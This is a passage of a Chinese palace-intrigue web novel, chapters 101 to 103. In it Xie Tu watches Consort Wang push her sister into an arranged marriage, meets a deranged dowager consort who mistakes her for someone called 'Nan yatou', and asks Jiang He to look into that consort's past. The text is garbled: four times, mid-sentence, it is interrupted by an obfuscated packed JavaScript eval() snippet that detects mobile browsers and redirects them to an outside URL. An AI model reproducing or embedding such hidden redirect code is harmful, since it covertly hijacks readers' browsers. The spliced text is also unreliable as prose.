“既然王怜没事,齐家小公子也无大碍,这件事……” “皇后娘娘!”王婕妤蓦地开口,打断了郑皇后下定论的话,“妾身的幼妹如此这般被两位公子从水中救出,她今后……” “妾身斗胆,恳请娘娘做主,为怜儿讨个公道!” 听见长姐出言为自己讨公道,王怜再次哭出声来,并且越哭越大声,似乎就是笃定郑皇后一定能处置谢荼一般。 被打断话头的郑皇后心生不悦,皱眉道:“在场的姑娘可都证明了,王怜并非被谢荼推入水中,难道本宫还要冤屈了谢荼不成?” 王怜收了些哭声,眼巴巴地看着自己的长姐继续说道: “妾身并非想将这桩事强行怪罪于谢家姑娘。” 王婕妤嗓音婉转,姿态柔美,全然一副为自家幼妹担心的模样: “妾身的妹妹自幼娇养着长大,性子骄纵,自是不知人间疾苦。眼下她同时被两位公子自水中捞出,这对她今后的婚事便会有一定的影响。” “若是将来夫家嫌弃,妾身的幼妹即便是浑身长满了嘴,又如何能说得清楚!” “所以,妾身斗胆,恳请娘娘为妾身的幼妹指婚!” 王婕妤是含着笑意说这些话的,可说出的话却令王怜如坠冰窟。 “长姐……长姐你……”王怜脸上的血色瞬间全部褪去,脸色苍白如纸。 她万万没有想到,她一直敬仰着的长姐,竟然就打算这般随意将她配婚! 郑皇后眸光一闪,随即便明白了王婕妤的小心思。 恐怕王家觉得一个女儿待在后宫,给整个王家带来的尊荣不够多,还想再塞一个进宫,可是王婕妤自己却不想和幼妹分享枕边人。 这可真有意思! 谢荼也看明白了王婕妤的意图,干脆退到一旁,等着看郑皇后如何处置。 只见,郑皇后只是笑笑,双手叠放在胸前,墨黑的双眸静静地望着王婕妤,笑着道: “王婕妤这话如何使得?婚嫁乃父母之命媒妁之言,本宫如何能做得了王怜的主?” 可王婕妤依旧不依不饶,认真道:“此时出在娘娘主办的春日宴上,娘娘本就应当负有责任,这是其一。” 她嗓音镇静,仿佛说出来的话,早已在心中盘算过千万回: “第二,救人的两位公子,一位为齐王之子,身份高贵,怜儿若是能嫁给他,自是她的造化了,另一位,虽然见着眼生,可是皇后娘娘宫中的宫女们唤他为郑公子,想必是郑皇后娘家子侄。” “于情于理,娘娘都应当做主。” “其三,若是娘娘不肯,妾身便去请了陛下来,到时候,陛下自有自己的论断。” 王婕妤最后说的三点,句句是威胁。 郑皇后便低低地笑出声来,声音清脆:“何必劳烦陛下亲自决断,本宫便在此处理,只是……” 她说着便面露犹豫之色:“只是这救人之事有两位公子参与,不知王怜要同哪位公子结为夫妇呢?” 郑皇后着实犯了难。 齐霁身份尊贵,齐王夫妇看他跟看眼珠子似的,如何能让他随意娶个妻子回去? 可这个姓郑的小子,便是他大哥的一个庶子,身份实在是上不得台面。 可这孩子素来聪慧,从不会随意掺和进这等凶险之事。 今日,又是为何突然这般冲动地跳下御湖去救人呢? 郑皇后将目光落在了郑姓公子身上。 话说到这种地步,王婕妤自知不该再咄咄逼人,便转头看向早已经呆傻在原地的幼妹王怜,贴心道: “既然这样,不如妹妹自己说吧,皇后娘娘给赐婚的机会并不多,妹妹不如说说,自己想嫁哪一位?” “嫁?”王怜终于捡回了自己的理智,她大声反对,“我不嫁?我为什么要嫁人?为什么只能嫁他们两个人?” “什么齐公子郑公子,我统统不要嫁!” 王婕妤深深地叹了一口气,双手扶上王怜的双肩,宽慰道: “你不嫁又如何能使得?你可是被郑公子在众目睽睽之下抱出水面的!而你在水中也曾和齐公子亲亲密密!这般失了清白,如何还能被其他高门看得上!” 王怜拼命地摇着头,蜷缩着身子往后退去: “我不嫁,我不嫁!父亲说了,我可是要做娘娘的!” 她一不小心,就吐露了王家的打算。 可话刚出口,她看着长姐蓦地冷下去的双眸,猛然醒悟了过来——长姐并不希望她进宫做娘娘! 所以,长姐看似在帮她讨公道,实际上就是想要随意将她嫁人打发,以彻底绝了她进宫的念头。 “长姐,我没有失了清白,也没有给王家丢脸!我不要随意嫁人啊长姐!” 郑皇后在看王婕妤,她在等着王婕妤的示好。 毕竟,王婕妤若是当真将幼妹推出去嫁人,那么她便是抱着要和王家决裂的想法孤注一掷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478284|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的王婕妤,最最需要的,便是后宫中的靠山,一个能让她后半生衣食无忧的盟友。 郑皇后也很乐意做这样一个盟友,至少她能拿捏得住这样失了母家依靠的王婕妤。 “皇后娘娘,幼妹不懂事,并不知道于女人而言,‘清白’二字何其珍贵。” 王婕妤声音恳切,面带忧愁: “可是,若是将来幼妹在商议婚事时,被人提起今日这遭,必会受委屈,届时再后悔,为时晚矣。” “娘娘仁心德厚,妾身必将铭记娘娘的大恩大德,在这宫中以娘娘马首是瞻。” 此时,王怜的婚事已然不是她自己能做得了主的了。 郑皇后把目光移向齐霁和郑远,平静道: “话虽如此,可你的妹妹毕竟是被两个人救上来,究竟是指给谁,你们姊妹自行商议吧。” 王婕妤将王怜带到一旁,姊妹两人单独相对。 王怜已经意识到,她的长姐今日必是要将她撵出后宫去。 可是她不明白,为何她就不能同入后宫?为什么长姐要这般防备着自己? 姐妹两人在后宫中互相扶持难道不好吗? “怜儿,齐公子虽然相貌一般,可他为齐王独子,将来即便没什么能力,也是个能袭爵的闲散勋爵,家中财富也是非寻常人家能比得上的,嫁给她并不吃亏。” 王婕妤对王怜仍然有姊妹情谊,她只是不想王怜进宫,并不想把她随意配给一个名不见经传的庶子。 王怜赌气别过脸去,并不想与王婕妤说话。 “这后宫之中如同吃人的深渊,人人自危,岂是你一个小姑娘该待的地方?” 见王怜生气,王婕妤便换了个方向开始劝解她: “我不知道父亲母亲是如何劝说你进宫的,可是他们都不如我这个在后宫之中生活了许多年的妃嫔了解宫中生活。” “伴君如伴虎,后宫之人行差踏错,轻则受杖刑、当众训诫,重则打入冷宫、赐死。更不要说那些有心机的妃嫔,人人都谋划着踩着别人往上爬。” “你自幼姐姐便疼爱着你,何时骗过你?这般苦楚生活,姐姐并不想你参与进来。” “今日之前,若是你提前与姐姐述说,姐姐还能想想其他办法。眼下兵行险着,齐公子便是最好的人选了。” 王婕妤是在责怪,素来和她无话不说的王怜,为何这等大事不与她商议。 “长姐……我……”被最亲近的长姐这般责怪,王怜心中充满了羞愧。 她开始思考长姐为她商议的这桩婚事的可行性。 可哪里知道,在她认真思考的时候,那头的齐霁却不干了。 “皇后娘娘!我是来参加春日宴逛园子游御湖的,并不是来等着指婚的!” 适才齐霁已经搞明白了,王怜是“偷鸡不成蚀把米”,暗害谢荼不成才导致自己跌落湖水之中。 而且刚刚他去救人的时候,还差点儿被王怜摁在水中溺水而亡! “我不和害人精成婚!如果皇后娘娘执意要给我指婚,那便请陛下以及我的父母商议!” 齐霁的嗓门其大,满腔诉说着嫌弃之意。 101. 遇见 被齐霁当众拒绝赐婚,王怜顿感受尽了委屈,感觉这简直是奇耻大辱! 她堂堂大家闺秀,貌美如花,嫡长姐又是皇上的宠妃,何曾被人嫌弃到这般地步! 郑皇后此时也犯了难,齐霁的婚事,还当真不是她能随意定夺的。 她瞥了一眼伫立在一旁从始至终并未吭声的郑远,念到他素来稳妥的性子,深觉奇怪,便出声问道: “远儿,你为何会贸然跳入御湖中救人?” 要知道,寻常人落水,自有侍卫救人,就算是高门贵女遇险,也自然会有宫女救人。 他们俩这样陌生的外男,贸然跳入御湖中贴身救人,本身就是一件奇怪的事情。 “姑母明察。”郑远果然眸色深深,当即跪在地上认错,“游湖之前,有一位眼生的婢女前来找侄儿,说是若有贵女落水,请我务必要跳入水中救人。” “侄儿原本觉得此事甚为荒谬,并不相信那婢女的话,可等画舫行至御湖中央时,突然传来呼救声,侄儿这时才知道果真有贵女落水。” “眼瞧着那女子的确不会凫水,且浮浮沉沉眼瞅着就要有性命之忧,侄儿这才跳入水中打算伺机而动。” “原本齐公子也跳入水中救人,侄儿便不打算再上前,可齐公子自己被那女子缠住,眼看着也要送命,侄儿不得已只能上前救下二人。” 齐霁这时候才知道救了他的正是郑远,上前攀住他的双肩感激道:“郑兄机智过人,若非郑兄,只怕我已经成为一抔黄土了!” “郑兄的救命之恩,在下没齿难忘!等今日之后,齐家必定登门致谢!” “他日郑兄有用得到我齐王府的地方,在下必定赴汤蹈火,在所不辞!” “......” 齐霁絮絮叨叨还想要拥着郑远说些什么话,郑皇后终于忍无可忍地打断: “你说有个婢女同你传话,说是即将有人落水?那人是谁?为何会提前预知还未发生的事情?” 这话就问到了点子上,郑皇后话音刚落,齐霁也很快反应了过来。 “对啊,郑兄,到底是谁啊,还能未卜先知?” 王怜只觉得呼吸一滞,刚刚只顾着哭,竟然忘记让婢女避开了! 她和郑远的目光同时落在了跪在一旁的婢女身上,那婢女此时早已瑟瑟发抖,脸色惨白如纸。 只不过,郑远的目光只落在那婢女身上一息的光景,转而就与王怜的目光撞在了一处。 王怜的目光缩了一缩,转而求助似的看向了王婕妤。 王婕妤当即皱了眉头,她显然已经搞清楚自己的妹妹究竟做了什么样的蠢事。 郑皇后也看见了几人之间汹涌流动的暗流,但她并不想主动挑破,只等着王怜自己的选择。 “皇后娘娘。”王怜似乎下了决心,出声道,“救我之人乃是郑公子,为报郑公子的救命之恩,臣女愿意嫁给郑公子报恩!” 若是把她在后宫蓄意谋害谢荼的事情摆在台面上来讨论,那便不是简单的落水事件,而是要喊刑部来插手查案了! 她心中发慌,后背一阵冷汗,她只顾着要惩治谢荼出口恶气,完全忘记了这是在皇宫之中,而谢荼身为大梁朝谢相的嫡女,身份贵重。 牵扯到下毒手推她入水,那可就是一桩牵扯高门贵女的命案! 饶是她的嫡长姐是皇帝的宠妃,她的父亲官居三品,她也逃不掉刑部的那一番严惩! 嫁人和下狱,两相权衡之下,还是嫁人似乎更轻松一点。 谢荼看着眼前这一幕滑稽戏份,心中早就乐开了花,这便是俗话说的“搬起石头砸自己的脚”吧! 郑皇后同样惊讶,王婕妤的一弯秀眉更是拧成了麻花状。 只有齐霁拍手祝贺起自己远离霉运。 郑远的双眸中看不出情绪变化,只垂头看着地面,等着郑皇后的安排。 “既然如此,本宫这边去同陛下亲自说一说这桩婚事,为你们求来一道赐婚的圣旨。” “谢荼,你先跟着小宫女去宜兰园休息片刻。王婕妤,你安排好你幼妹后,也来陛下宫中商议。” 郑皇后看向齐霁,微笑着让他先行离开,言明会有重赏。 而郑远,郑皇后瞥了他一眼,冷声道:“远儿,你随本宫来。” 谢荼离开前,同样好奇地看了一眼郑家这位长房庶子,见他平静的面容之下,只有一只捏得发白的拳头暴露了他内心的紧张。 心觉此人必不容小觑。 郑远乃郑将军庶子,身份低微,本次似乎并不在春日宴受邀名单之中,但是郑将军的嫡子偶感风寒,郑将军便让庶子进宫,顺便探望郑皇后。 而郑远能在转瞬之间抓住机会,为自己博得这样一门,以他自身身份,根本就不能攀附上的婚事,着实是个人才。 谢荼回忆起郑远出水时,目光中的坚定神色,暗自对此人产生了兴趣。 倒也是个敢为自己的利益不择手段的人,而且明显与郑家心生隔阂,非一条心,是个可以利用的人。 谢荼心中思忖的事情,跟着小宫女穿过御花园的长廊,慢慢往宜兰园走去。 可走着走着,谢荼发现,除了一开始还能有三三两两向她请安的宫女,最后就连守园子的小太监都见不到了。 谢荼刚刚经历了王怜之事,顿时心生警觉,放慢脚步一把拽住了带路的小宫女,笑道: “这位姐姐,宜兰园是从这条路过去的吗?怎的如此荒凉无人啊?” 她不想与人兜圈子,直截了当地说出了自己的疑惑。 那小宫女猛然被谢荼拽住,吓了一大跳,但谢荼仅仅捕捉到了一瞬间的慌乱,而后小宫女便恢复了平静。 她也温柔笑道:“回谢姑娘的话,去宜兰园从这条路过去最近了,且一路花草遮阳,娘娘们也最喜欢从这条背阴之路过去。” 谢荼侧头看了看周围,见周围虽然见不到什么人,可是花草修剪的确一丝不苟,甚至还有供人歇脚的凉亭,她便道: “不知道其他入宫参加宴会的姐妹此刻在何处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503101|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息呢?” 她想起刚入宫时被安排分处休息的场景,又加了一句: “我与顾侍郎家的顾姐姐情同姐妹,不知可否将我带入顾姐姐休息的宫殿?” 那小宫女面色一僵,才道:“奴婢不知呢,皇后娘娘让奴婢带谢姑娘去宜兰园,便是去宜兰园。” 她看了看谢荼的脸色,小声催促道:“谢姑娘快些吧,晚了只怕要耽误娘娘的大事。” 谢荼只好继续跟着小宫女往前走去。 一路虽然人迹罕至,却是太平,并无不妥,谢荼暗自觉得自己如同惊弓之鸟,疑心太重。 眼瞅着前面就要到一座宫殿,突然斜刺里冲出一个干瘦矮小的身影,直直地将谢荼撞倒在地。 谢荼被人撞倒在地,头晕目眩,只觉右脚一阵刺痛,还没来得及痛呼,就被一双干瘦的手掌捏住了双肩。 “南丫头!南丫头!” 那人干瘦如柴,双颊凹陷,脸色发黄,头发乱糟糟,身上穿着的衣裳勉强能看得出是宫廷制式,可是瘦削的身材根本撑不起那一身衣裳,消瘦显得颧骨高且刻薄。 那是个老宫女,或者说,是个老宫妃。 “陈太妃,您怎么出来啦?” 带路的小宫女似乎认识撞倒谢荼的人,惊呼着把两人拉起来。 谢荼右脚刺痛站不起身,她低头一看,只见脚腕处肿成馒头状,似乎是扭到了。 她这边受了伤,痛苦钻心,可那撞了她的年长女人,却好似没瞧见,依旧冲着谢荼欢天喜地、疯疯癫癫道: “嘿嘿嘿,南丫头,本宫抓到你啦!” “太妃娘娘,您认错人啦!”小宫女见那人揪着谢荼不放,生怕她伤着谢荼,慌忙帮着将谢荼从那双瘦削手掌中拽出来,“这位是谢相谢大人家的女儿,可不是日常陪着您玩的小宫女!” 可那疯癫太妃根本听不进小宫女的话,她冷眼看了一眼小宫女,转头又搂着谢荼要往花园里走: “南丫头,你同本宫说说,这些日子你又躲去哪里了?本宫怎么也找不到你,你躲猫猫太厉害啦!” 小宫女急得满头是汗,可谢荼却觉得心惊。 她冲小宫女笑道:“姐姐不必着急,离宜兰园并不远了,劳烦您去寻我的贴身婢女来。” 那小宫女踌躇着不肯走,谢荼指着自己肿得老高的馒头脚道: “就算我现在能脱身,可我也根本走不了路,劳烦姐姐将我的两位贴身婢女寻来,她们二人孔武有力,能撑着我走到宜兰园。” 那小宫女面色犹豫,愣了半晌,才对谢荼千叮咛万嘱咐:“姑娘可千万别乱走,奴婢这就去寻服侍太妃娘娘的宫女来,也会将姑娘的贴身婢女寻来。” 她不放心,又加了一句:“太妃娘娘时而清醒时而糊涂,平时住在冷宫附近的翠兰院,今儿也不知为何蹦跶到宜兰园附近来了。” “谢姑娘千万哄着太妃娘娘,娘娘脾性烈,急起来会伤人!” 最终,她在无限担心中,一步三回头地离开了园子。 102. 疑心 小宫女走后,老太妃的手如同铁钳一般,紧紧钳住谢荼将她往相反的方向带去。 谢荼右脚钻心般疼痛,可想着小宫女最后的叮嘱,只能歉意地笑道: “太妃娘娘,可否慢些行走,晚辈的腿脚不便,不能走那么快。” “咦?你腿怎么了?又受伤了吗?”老太妃蹲下身来,盯着谢荼肿胀的脚踝看了看,伸出手指使劲戳了下。 这一手指头戳着谢荼冷汗都滴下来了。 她后退了两步,将受伤的脚踝藏在身后:“太妃娘娘,晚辈……总是受伤吗?” 老太妃抬起头来,满脸狐疑地看着她:“南丫头,这回你是伤到脑袋了吗?怎么还问起自己的事情来了?” “可能是吧,不小心撞到脑袋了。” “嗐!”老太妃站起身,拍了拍身上并不存在的灰尘,挥手道,“什么‘不小心’,不就是又被打了吗!” “本宫早就同你说过,要懂得逆来顺受!你每次都只会硬碰硬,这不就是自讨苦吃!” 老太妃猛然往前跑了几步,转头看向谢荼:“你还没同本宫说你最近又藏在哪里去了?为什么本宫总是寻不到你?” 谢荼陪着笑意:“怎么会呢,晚辈……一直就待在原来的地方啊,您怎么会没找到呢?” 老太妃全然没有察觉到谢荼在套话,挠着脑袋疑惑开口:“你是说冷宫吗?” “不不不,不可能!本宫就差要把那儿掀了个底朝天啦,连你半个人影都没瞧见,你怎么可能还在冷宫!” 谢荼倒也不慌,继续循循善诱道:“许是太妃娘娘记错了吧,晚辈这次可不是待在冷宫里的,冷宫已经是上一回晚辈藏身的地方了。” 老太妃双眸一亮,眼尾稍提:“你是说翠安宫吗?” “可是那处已经被人锁了起来了,本宫自然是进不去的。” “噢,我知道了,你又被他关在那里了。对不对?” 谢荼便顺着老太妃的话头继续往下胡诌:“是啊,太妃娘娘果真聪明,一下子就猜到了!” 老太妃宛如孩童,只高兴了一瞬,脸上又爬上了担忧的神色: “你这回又是因为什么惹了他生气,被他关起来了?” “上一次你可是被关了两年呢!若不是被本宫发现了,你可差点儿就要死掉了!” “还是本宫再三劝慰你,才让你放下身段,求得平安。” “这一次,你可是自己想清楚了,才被放出来的?” “只是被打了一顿,略惩小戒?” 老太妃指了指谢荼脚腕上的肿胀处,自己展开了一系列的联想。 “是啊!关键时刻,晚辈还是想起了太妃娘娘曾经的教导,觉得还是不必硬碰硬为好,这才逃过一劫。” 谢荼继续顺着老太妃的话头往下说。 她现在可以肯定的是,在这后宫之中,有一个与她长相相似的人,似乎被关在某处。 这个人似乎曾经因为不想屈服于谁的威严,被锁在翠安宫长达两年,也就是在翠安宫的两年里,意外被面前的这位老太妃撞见。 不知这位老太妃究竟是如何劝解的,这个人最后不得不放下身段,屈从了关着她的那个人,然后便从翠安宫里被挪到了冷宫中。 而在冷宫中生活的这些年,老太妃时不时便会去找这个人玩耍,显然两人已经成了好朋友。 只不过,最近一段时间,这个人又再一次消失在冷宫之中,所以老太妃才会从自己所在的翠兰院跑出来,目的就是要寻找失踪的这个与自己长相十分相似的人。 “南丫头,本宫同你说过许多次,在这后宫之中,一切要以能活命为重点,其他的都是小事,只有能活下来,自己所求的一切,才有可能一一实现!” 老太妃拉着谢荼的手,一步步慢慢挪向翠兰院,苦口婆心地劝道: “你管他究竟是不是你的丈夫,也不要管究竟能不能再见到你的丈夫孩子,只要活着,一切都有可能!” 南丫头? 丈夫孩子? 谢荼心中大骇,脚底一滑,彻底跌坐在地上。 “哟!南丫头,你这是怎么了?”老太妃使劲扯着谢荼的臂膀,也没能将她从地上拉起来。 “看来你这回伤得不轻呢!”老太妃擦了擦额头上的汗,喘了口气道,“你等着啊,我去把陈婆子叫来扶你!” 老太妃丢下谢荼,在园子里七拐八拐,消失不见了。 谢荼顾不上脚踝的疼痛,脑子里飞速地筛查着老太妃对她说的所有关于这个人的事情的线索。 这个人,多年前被囚禁,无自由;已嫁人生子,却无法同家人团聚。 最重要的,老太妃唤她为南丫头。 谢荼突然在心里有了一个不切实际的猜想。 或许…… “姑娘!” “姑娘!” “谢姑娘!” 园子里突然传来吟心典心焦急呼唤她的声音。 谢荼猛然回过神来,应声道:“吟心,我在这儿!” 那头的小宫女和跟着来的吟心典心听见声音,忙跑了几步到谢荼的身边。 “姑娘,您怎么样了?”典心望见谢荼肿胀得老高的脚踝,眼圈儿一红,“这可这么好?姑娘,您忍忍,奴婢背着您去宜兰园召太医来瞧瞧!” 小宫女却是咦了一声:“谢姑娘,太妃娘娘她老人家呢?” 谢荼刚趴上典心的后背,听见小宫女问起,笑着解释道:“那位太妃娘娘见我动不了,说是回去叫一位陈婆子的来扶我。” “不如姐姐留在这儿,等着太妃娘娘回来,免得她寻人回来帮我,却落了个空。” “陈婆子?那是太妃娘娘身边伺候的姑姑。”小宫女一副放轻松了的模样,“有陈姑姑在,太妃娘娘定然是会清醒地知道她老人家适才是认错人了。” “咱们不必留在这儿等她,陈姑姑自会劝好的。” “咱们还是抓紧时间送谢姑娘您去宜兰园,寻一位太医来替您医治脚踝,拖了这么久,可千万别落下病了!” 她不说倒还好,一说典心就更急了,提起气就跑,直接将小宫女和吟心二人甩在身后,很快背着她到达了宜兰园。 “荼儿,你这是怎么了?” 等候在宜兰园门口的顾茹娘,一见到谢荼此等模样,便惊呼出声,吸引了宜兰园里其他贵女的注意力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是,冷帕子敷伤处的法子当真是缓解了不少谢姑娘的痛苦,也延缓了淤血的流出,减轻的谢姑娘的病情。” “东方家果真是医药世家,就连并未出诊坐堂的两位姑娘家,都能随机应变处置得当!” 曹院判顺着谢荼的话,夸了东方姊妹两句。 郑皇后便道:“‘济南双姝’的名头可不是白叫的,谢荼他日伤好后,可是要备上厚礼上门致谢呢!” 郑皇后并未提起谢荼在花园中受伤之事,也没有提起要责罚小宫女,谢荼便也没有提起如何受伤。 等曹院判为谢荼针灸油敷后,留下了一张药方便退下了。 时辰已经不早,今日又出了王怜落水之事,因此太阳还未落山,郑皇后便称身体乏了,结束了今日的春日宴。 坐在回府的马车上,谢英见谢荼一直沉默不语,以为她是因为脚踝的伤处疼痛而难受。 他刚要出声说些席间的笑话给谢荼听,却听见她开口问自己: “哥哥,母亲是因何种病症去世的?” 103. 暗查 谢英愣在原地,送到嘴边的糕点都忘记塞了,一双杏眸里漏出些许迟疑,长长的睫毛微微颤动着,暴露了主人的心事。 谢荼将他的反应看在眼里,低声喃喃道:“母亲去世时,我尚且年幼,可我仍然记得,幼时母亲带着我四处游玩的情景。” “那时候的母亲,明媚开朗,没有半点病气。” “可为何母亲在短短几月时间内,病得下不来床,气喘不上来,母亲究竟是因何种病症去世的?” 谢荼的眉眼低垂着,长长的睫毛下缀着一滴晶莹的泪珠,透着她沉沉的哀思。 谢英盯着妹妹的发顶,只觉得自己的心口被一团乱麻堵得严严实实。 妹妹年幼丧母,无人可依,他又何尝不是少年丧母,无母可依? 他放下手中的糕点,伸手抚摸着妹妹的细软发丝,将心底酸胀的痛意按捺下去,认真道: “怎么突然问起母亲的事情来?” 难不成今日王怜之事,妹妹设身处地想到自己的情况,徒生惧意? “荼儿放心,我与父亲不会因为这些无关要紧的小事,便将你随意嫁人。” 气氛说到这里,陡生变故,往着莫名的方向直奔而去。 “那后宫之中皆是吃人不吐骨头的地方,父亲也绝对不会舍得将你送到后宫中去。” “你若有心仪之人,不管门楣如何,只要人品可以,我与父亲便是红妆十里,也会将你风风光光嫁出去!” 谢英拍了拍手中糕点碎屑,凑到谢荼的身边,一脸八卦模样: “今日春日宴诸多才子在场,你可有相中的?尽管与哥哥说来,哥哥定能把对方祖宗八辈儿的事情替你摸清楚。” 谢荼默默地扯开自己被谢英压在屁股底下的披风一角,闭上眼睛不再说话。 谢英只当她是累了,于是闭上嘴巴不再聒噪。 闭上眼睛的谢荼深深地叹了一口气。 她的眼前再现陈太妃疯疯癫癫的模样,以及她口中所说的那位命途多舛的“南丫头”。 此事须得从长计议,还要从那位陈太妃的身上查起。 郑皇后单独让人带她从小路去的宜兰园,这才与偷偷跑出来的陈太妃遇上。 这件事过于凑巧,处处透着蹊跷,难道郑皇后是故意如此? 她是为了什么呢? 回府没多久,宫中就传出消息,成惠帝亲自给王怜以及郑远赐了婚,并且向郑家赐下黄金万两用于婚事的办理,还给郑远赐了官职。 在这场明争暗斗中,郑远成了最大的赢家。 有了这一遭突如其来的“落水事件”,原本打算给宝珠公主相看的春日宴,只以促成王怜这一桩婚事为结局。 幸运的是,事后,宝珠公主并未纠结于姜鹤或是姜鹄,而是径直同成惠帝与郑皇后言明,自己尚且年幼,不急于嫁人。 于是,姜鹄和姜鹤到底是谁给公主做驸马如此难以抉择的事情,也就此翻篇。 谢荼总算是空出精神出来,开始调查起陈太妃的事情来。 她先给姜鹤送了一封信,信中提起自己在宫中偶遇陈太妃的事情。 晌午过后,姜鹤相邀的消息就从吟心的口中传到了谢荼的耳朵里。 “这么快就有消息了?”谢荼懵着脑袋应下了邀约之事。 —————— 雅间内,姜鹤整理着自己的衣襟和发带,回头问陈全: “我的这副模样,和谢姑娘说那些话,会不会很唐突?” 陈全心道,你都想直接和人姑娘自己商量婚事了,已经很唐突的不能再唐突了,只不过穿得花里胡哨了些,倒也不算是很唐突了。 于是笑道:“公子素了许多日子,难得装扮起来,恢复了以往的打扮,应当是更能让谢姑娘眼前一亮吧!” “也是。” 姜鹤得了谢荼的纸条,一开始还在疑惑她为何突然问起陈太妃的事情,还是陈全在一旁提醒。 他说,指不定是因为王怜的事情,谢姑娘推及己身,害怕自己也像王怜那般,随意被皇室指婚,所以才用后宫素来无人问津之人,来试探他。 姜鹤作为“山中人”,没有丝毫思考能力,只欣喜自己能解谢荼燃眉之急才算好。 他特意挑了墨香斋最上等雅间,备了香茗和精致糕点,静等谢荼的到来。 滚滚春雷之后,绵密春雨如细丝般飘落。 马车停稳在墨香斋后门处,吟心撑起一把油纸伞,扶着身穿月白色披风的谢荼下了马车。 绵绵细雨中,一袭白衣的谢荼走在其中,倒与背后的杳无人烟的巷尾成了一幅烟雨朦胧江南图。 姜鹤扶着窗棂立在窗边,入眼便是如此美景,眸子里映着的谢荼的身影,目送着她袅袅婷婷走进墨香斋的院子,再从木梯拾阶而上。 “叩叩叩——” 敲门声响起,姜鹤猛然回过神,深吸一口气,开口道:“请进!” 吟心推开房门,谢荼从她的身后走了进来。 “姜公子,又来叨扰你了。” 谢荼伸手解下披风递给吟心,浅笑着走向姜鹤。 姜鹤不甚自在地摸了摸自己的耳廓,伸手邀请谢荼落座。 “都说人靠衣装,春日宴那日远远见到姜公子,谢荼都不敢相认。”谢荼上下打量着今日装扮一新的姜鹤,打趣道。 姜鹤浅咳一声,解释道:“兄长在京城之中,我便要恢复纨绔弟子的做派,过两日说不定你还要从旁人口中听到,我日日进那些销金窟寻欢作乐的消息呢!” “谢姑娘你是知道我的,若不是被逼无奈,我原本也可以不必如此。” 在谢荼的面前,姜鹤只想道出自己的委屈。 他抬起一双桃花眼眼巴巴地看过去,只见对面之人眼中含着笑意,并不是真的在取笑他,当即心中熨帖了不少。 “我知道,所以遇到难事这才来寻求你的帮助。我知晓你并非等闲无能之辈。” 谢荼弯弯笑眼看着姜鹤,忽而正色道: “姜公子,我托您查宫中陈太妃之事,可是有眉目了?” 姜鹤见状,也正色道: “陈太妃乃是先皇的妃子,是先皇身为皇子之时,在行宫之时一日醉酒后宠幸的宫女。” “家世不显,膝下无子,人也不喜争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555487|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宠,所以晋升得非常慢。” “先皇即位后,皇子府邸之中尚存的侍妾,全都获了封号,只有她被封为才人,在此之后,陈才人的每一次晋升,都与大赦或后宫同赏有关。” “从才人晋升到一宫主位的嫔位,她用了将近二十年的时间。” “也正是她不受宠,不邀宠,先皇在位的二十几年的时间里,多场后宫争斗她都没有受到波及。” “也就是说,恐怕先皇对她都没有什么印象。也是陛下即位,大赦后宫,才给了她太妃之位。” “后宫之中人人都说她性格疯癫,不太正常,所以陛下便将她安置在冷宫附近的翠兰院中。” 姜鹤说到此处,短暂地停顿片刻,问她:“可是那日王怜落水之后,你遇到了什么事?所以才想问起后宫旧人的过往。” 他想的是,若是谢荼直言她看到后宫旧人的惨状,害怕自己被选入宫,那么他便直接提出可以缔结婚姻,帮她免去被选的困扰。 可接下来谢荼开口所说的话,彻底颠覆了他的认知。 “我那日确实遇到了陈太妃,并且同她有了交谈。”谢荼秀眉紧锁,对着姜鹤吐出自己的怀疑,“但是我怀疑,那日的偶遇,实际上是人为故意制造的一场意外。” 姜鹤干笑了两声:“这如何使得?一个素来避世的先皇弃妃,为何要故意同你相遇交谈?” 但是,谢荼面色凝重,不像是开玩笑的模样,姜鹤的心沉了一沉。 “一条没人经过的小路,一位疯疯癫癫的太妃,碰巧将我‘推倒’,碰巧我身边没有婢女跟着,碰巧将我‘错认’成她人,我觉得这件事没这么简单。” 姜鹤定了定神,问她:“陈太妃是同你说了些什么,让你有这般猜疑?” 谢荼看着他,双眸深沉闪着光亮,沉声道:“我怀疑,陈太妃及其背后推动我与她见面之人,是想提醒我一件事。” 姜鹤蓦然抬眸,紧紧盯着她:“何事?” 